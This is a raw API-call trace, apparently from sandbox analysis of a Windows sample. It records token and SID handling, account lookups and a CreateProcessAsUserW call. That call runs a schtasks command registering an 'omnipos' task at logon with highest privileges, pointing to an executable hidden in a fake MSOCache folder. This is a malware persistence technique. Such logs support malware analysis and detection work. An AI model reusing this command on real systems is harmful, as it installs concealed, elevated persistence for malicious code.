Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9fa0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1b20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0114.890] malloc (_Size=0x18) returned 0x196ef0d1b60 [0114.890] malloc (_Size=0x18) returned 0x196ef0d1960 [0114.890] free (_Block=0x196ef0f9fa0) [0114.890] free (_Block=0x196ef0d1b20) [0114.890] free (_Block=0x196ef0f9bb0) [0114.890] free (_Block=0x196ef0d1960) [0114.890] free (_Block=0x196ef0d1b60) [0114.890] free (_Block=0x196ef0d1a40) [0114.891] free (_Block=0x196ef0d0bd0) [0114.893] SetEvent (hEvent=0x248) returned 1 [0114.893] free (_Block=0x196ef0d5780) [0114.893] CreateEnvironmentBlock () returned 0x1 [0114.898] malloc (_Size=0x18) returned 0x196ef0d1c40 [0114.899] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"omnipos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x8dc, dwThreadId=0x12d8)) returned 1 [0114.908] CloseHandle (hObject=0x260) returned 1 [0114.908] CloseHandle (hObject=0x264) returned 1 [0114.908] free (_Block=0x196ef0d1c40) [0114.908] DestroyEnvironmentBlock () returned 0x1 [0114.908] malloc (_Size=0x48) returned 0x196ef0d5d70 [0114.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2558a6ad, dwHighDateTime=0x1d9eb0c)) [0114.909] SetEvent (hEvent=0x248) returned 1 [0114.909] CloseHandle (hObject=0x26c) returned 1 [0114.909] CloseHandle (hObject=0x270) returned 1 [0114.913] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0114.913] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0114.914] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0114.914] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0115.564] RtlRestoreLastWin32Error () returned 0x670dbf000 [0115.564] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0115.564] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0115.564] RtlRestoreLastWin32Error () returned 0x670dbf000 [0115.564] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0115.564] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0115.565] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0115.565] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0115.565] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0115.565] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0115.567] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0115.568] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0115.568] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0115.568] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0115.568] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0115.571] GetCurrentThread () returned 0xfffffffffffffffe [0115.571] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0115.571] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0115.571] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0115.571] GetLastError () returned 0x7a [0115.571] malloc (_Size=0x2c) returned 0x196ef0d0a90 [0115.571] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0a90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0a90, ReturnLength=0x67117c740) returned 1 [0115.571] IsValidSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0115.571] GetLengthSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0115.571] malloc (_Size=0x1c) returned 0x196ef0f9af0 [0115.571] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9af0, pSourceSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9af0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0115.571] GetSidIdentifierAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa2 [0115.571] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0115.571] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0115.571] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0115.572] malloc (_Size=0x18) returned 0x196ef0d1be0 [0115.572] SysStringLen (param_1="S-1-") returned 0x4 [0115.572] SysStringLen (param_1="5") returned 0x1 [0115.572] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aa838, _Size=0xa | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0115.572] memcpy (in: _Dst=0x196ee7aa990, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aa990) returned 0x196ee7aa990 [0115.572] free (_Block=0x196ef0d1fa0) [0115.572] free (_Block=0x196ef0d1ca0) [0115.572] GetSidSubAuthorityCount (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa1 [0115.572] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0aa8 [0115.572] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0115.572] malloc (_Size=0x18) returned 0x196ef0d1e60 [0115.572] malloc (_Size=0x18) returned 0x196ef0d1a60 [0115.572] SysStringLen (param_1="S-1-5") returned 0x5 [0115.572] SysStringLen (param_1="-") returned 0x1 [0115.572] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aa988, _Size=0xc | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0115.572] memcpy (in: _Dst=0x196ee7c75c2, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7c75c2) returned 0x196ee7c75c2 [0115.572] free (_Block=0x196ef0d1be0) [0115.572] free (_Block=0x196ef0d1e60) [0115.572] malloc (_Size=0x18) returned 0x196ef0d1a20 [0115.572] malloc (_Size=0x18) returned 0x196ef0d1d20 [0115.572] SysStringLen (param_1="S-1-5-") returned 0x6 [0115.572] SysStringLen (param_1="21") returned 0x2 [0115.573] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7c75b8, _Size=0xe | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0115.573] memcpy (in: _Dst=0x196ee7aa844, _Src=0x196ee7aa988, _Size=0x6 | out: _Dst=0x196ee7aa844) returned 0x196ee7aa844 [0115.573] free (_Block=0x196ef0d1a60) [0115.573] free (_Block=0x196ef0d1a20) [0115.573] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0aac [0115.573] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0115.573] malloc (_Size=0x18) returned 0x196ef0d1a20 [0115.573] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0115.573] SysStringLen (param_1="S-1-5-21") returned 0x8 [0115.573] SysStringLen (param_1="-") returned 0x1 [0115.573] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aa838, _Size=0x12 | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0115.573] memcpy (in: _Dst=0x196ee7aa998, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aa998) returned 0x196ee7aa998 [0115.573] free (_Block=0x196ef0d1d20) [0115.573] free (_Block=0x196ef0d1a20) [0115.573] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0115.573] malloc (_Size=0x18) returned 0x196ef0d1f20 [0115.573] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0115.573] SysStringLen (param_1="1560258661") returned 0xa [0115.573] memcpy (in: _Dst=0x196ee777e88, _Src=0x196ee7aa988, _Size=0x14 | out: _Dst=0x196ee777e88) returned 0x196ee777e88 [0115.573] memcpy (in: _Dst=0x196ee777e9a, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee777e9a) returned 0x196ee777e9a [0115.573] free (_Block=0x196ef0d1ba0) [0115.574] free (_Block=0x196ef0d1aa0) [0115.574] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0ab0 [0115.574] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0115.574] malloc (_Size=0x18) returned 0x196ef0d1d40 [0115.574] malloc (_Size=0x18) returned 0x196ef0d1a80 [0115.574] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0115.574] SysStringLen (param_1="-") returned 0x1 [0115.574] memcpy (in: _Dst=0x196ee777668, _Src=0x196ee777e88, _Size=0x28 | out: _Dst=0x196ee777668) returned 0x196ee777668 [0115.574] memcpy (in: _Dst=0x196ee77768e, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee77768e) returned 0x196ee77768e [0115.574] free (_Block=0x196ef0d1f20) [0115.574] free (_Block=0x196ef0d1d40) [0115.574] malloc (_Size=0x18) returned 0x196ef0d1c00 [0115.574] malloc (_Size=0x18) returned 0x196ef0d1f00 [0115.574] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0115.574] SysStringLen (param_1="3990802383") returned 0xa [0115.574] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777668, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0115.574] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0115.574] free (_Block=0x196ef0d1a80) [0115.575] free (_Block=0x196ef0d1c00) [0115.575] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0ab4 [0115.575] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0115.575] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0115.575] malloc (_Size=0x18) returned 0x196ef0d1a80 [0115.575] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0115.575] SysStringLen (param_1="-") returned 0x1 [0115.575] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0115.575] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0115.575] free (_Block=0x196ef0d1f00) [0115.575] free (_Block=0x196ef0d1ba0) [0115.575] malloc (_Size=0x18) returned 0x196ef0d20a0 [0115.575] malloc (_Size=0x18) returned 0x196ef0d1a20 [0115.575] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0115.575] SysStringLen (param_1="1811730007") returned 0xa [0115.575] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0115.575] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0115.575] free (_Block=0x196ef0d1a80) [0115.575] free (_Block=0x196ef0d20a0) [0115.576] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0ab8 [0115.576] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0115.576] malloc (_Size=0x18) returned 0x196ef0d2040 [0115.576] malloc (_Size=0x18) returned 0x196ef0d1c80 [0115.576] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0115.576] SysStringLen (param_1="-") returned 0x1 [0115.576] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0115.576] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0115.576] free (_Block=0x196ef0d1a20) [0115.576] free (_Block=0x196ef0d2040) [0115.576] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0115.576] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0115.576] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0115.576] SysStringLen (param_1="1000") returned 0x4 [0115.576] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0115.576] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0115.576] free (_Block=0x196ef0d1c80) [0115.576] free (_Block=0x196ef0d1aa0) [0115.576] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0115.576] malloc (_Size=0x5e) returned 0x196ef0d0610 [0115.576] free (_Block=0x196ef0d1ac0) [0115.577] malloc (_Size=0x18) returned 0x196ef0d1e80 [0115.577] free (_Block=0x196ef0d0610) [0115.577] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0115.579] GetLastError () returned 0x7a [0115.579] malloc (_Size=0x1a) returned 0x196ef0f9ac0 [0115.579] malloc (_Size=0xe) returned 0x196ef0d1ee0 [0115.579] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9ac0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ee0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0115.580] malloc (_Size=0x18) returned 0x196ef0d1b20 [0115.580] malloc (_Size=0x18) returned 0x196ef0d1de0 [0115.580] free (_Block=0x196ef0f9ac0) [0115.580] free (_Block=0x196ef0d1ee0) [0115.580] free (_Block=0x196ef0f9af0) [0115.580] free (_Block=0x196ef0d1de0) [0115.580] free (_Block=0x196ef0d1b20) [0115.580] free (_Block=0x196ef0d1e80) [0115.581] free (_Block=0x196ef0d0a90) [0115.581] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0115.581] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0115.581] GetLastError () returned 0x7a [0115.581] malloc (_Size=0x2c) returned 0x196ef0d1350 [0115.581] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1350, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1350, ReturnLength=0x67117c740) returned 1 [0115.581] IsValidSid (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0115.581] GetLengthSid (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0115.581] malloc (_Size=0x1c) returned 0x196ef0f9df0 [0115.581] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9df0, pSourceSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9df0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0115.581] GetSidIdentifierAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1362 [0115.581] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0115.582] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0115.582] malloc (_Size=0x18) returned 0x196ef0d1d40 [0115.582] malloc (_Size=0x18) returned 0x196ef0d1c20 [0115.582] SysStringLen (param_1="S-1-") returned 0x4 [0115.582] SysStringLen (param_1="5") returned 0x1 [0115.582] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0115.582] memcpy (in: _Dst=0x196ee7aa840, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aa840) returned 0x196ee7aa840 [0115.582] free (_Block=0x196ef0d1ae0) [0115.582] free (_Block=0x196ef0d1d40) [0115.582] GetSidSubAuthorityCount (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1361 [0115.582] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1368 [0115.582] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0115.582] malloc (_Size=0x18) returned 0x196ef0d1e80 [0115.582] malloc (_Size=0x18) returned 0x196ef0d1c40 [0115.582] SysStringLen (param_1="S-1-5") returned 0x5 [0115.582] SysStringLen (param_1="-") returned 0x1 [0115.582] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aa838, _Size=0xc | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0115.582] memcpy (in: _Dst=0x196ee7c75c2, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7c75c2) returned 0x196ee7c75c2 [0115.582] free (_Block=0x196ef0d1c20) [0115.582] free (_Block=0x196ef0d1e80) [0115.582] malloc (_Size=0x18) returned 0x196ef0d20a0 [0115.583] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0115.583] SysStringLen (param_1="S-1-5-") returned 0x6 [0115.583] SysStringLen (param_1="21") returned 0x2 [0115.583] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7c75b8, _Size=0xe | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0115.583] memcpy (in: _Dst=0x196ee7aa994, _Src=0x196ee7aa838, _Size=0x6 | out: _Dst=0x196ee7aa994) returned 0x196ee7aa994 [0115.583] free (_Block=0x196ef0d1c40) [0115.583] free (_Block=0x196ef0d20a0) [0115.583] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d136c [0115.583] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0115.583] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0115.583] malloc (_Size=0x18) returned 0x196ef0d1f20 [0115.583] SysStringLen (param_1="S-1-5-21") returned 0x8 [0115.583] SysStringLen (param_1="-") returned 0x1 [0115.583] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aa988, _Size=0x12 | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0115.583] memcpy (in: _Dst=0x196ee7aa848, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7aa848) returned 0x196ee7aa848 [0115.583] free (_Block=0x196ef0d1fa0) [0115.583] free (_Block=0x196ef0d1ce0) [0115.583] malloc (_Size=0x18) returned 0x196ef0d1c60 [0115.583] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0115.584] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0115.584] SysStringLen (param_1="1560258661") returned 0xa [0115.584] memcpy (in: _Dst=0x196ee777e88, _Src=0x196ee7aa838, _Size=0x14 | out: _Dst=0x196ee777e88) returned 0x196ee777e88 [0115.584] memcpy (in: _Dst=0x196ee777e9a, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee777e9a) returned 0x196ee777e9a [0115.584] free (_Block=0x196ef0d1f20) [0115.584] free (_Block=0x196ef0d1c60) [0115.584] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1370 [0115.584] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0115.584] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0115.584] malloc (_Size=0x18) returned 0x196ef0d1c00 [0115.584] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0115.584] SysStringLen (param_1="-") returned 0x1 [0115.584] memcpy (in: _Dst=0x196ee777668, _Src=0x196ee777e88, _Size=0x28 | out: _Dst=0x196ee777668) returned 0x196ee777668 [0115.584] memcpy (in: _Dst=0x196ee77768e, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee77768e) returned 0x196ee77768e [0115.584] free (_Block=0x196ef0d1fe0) [0115.584] free (_Block=0x196ef0d1aa0) 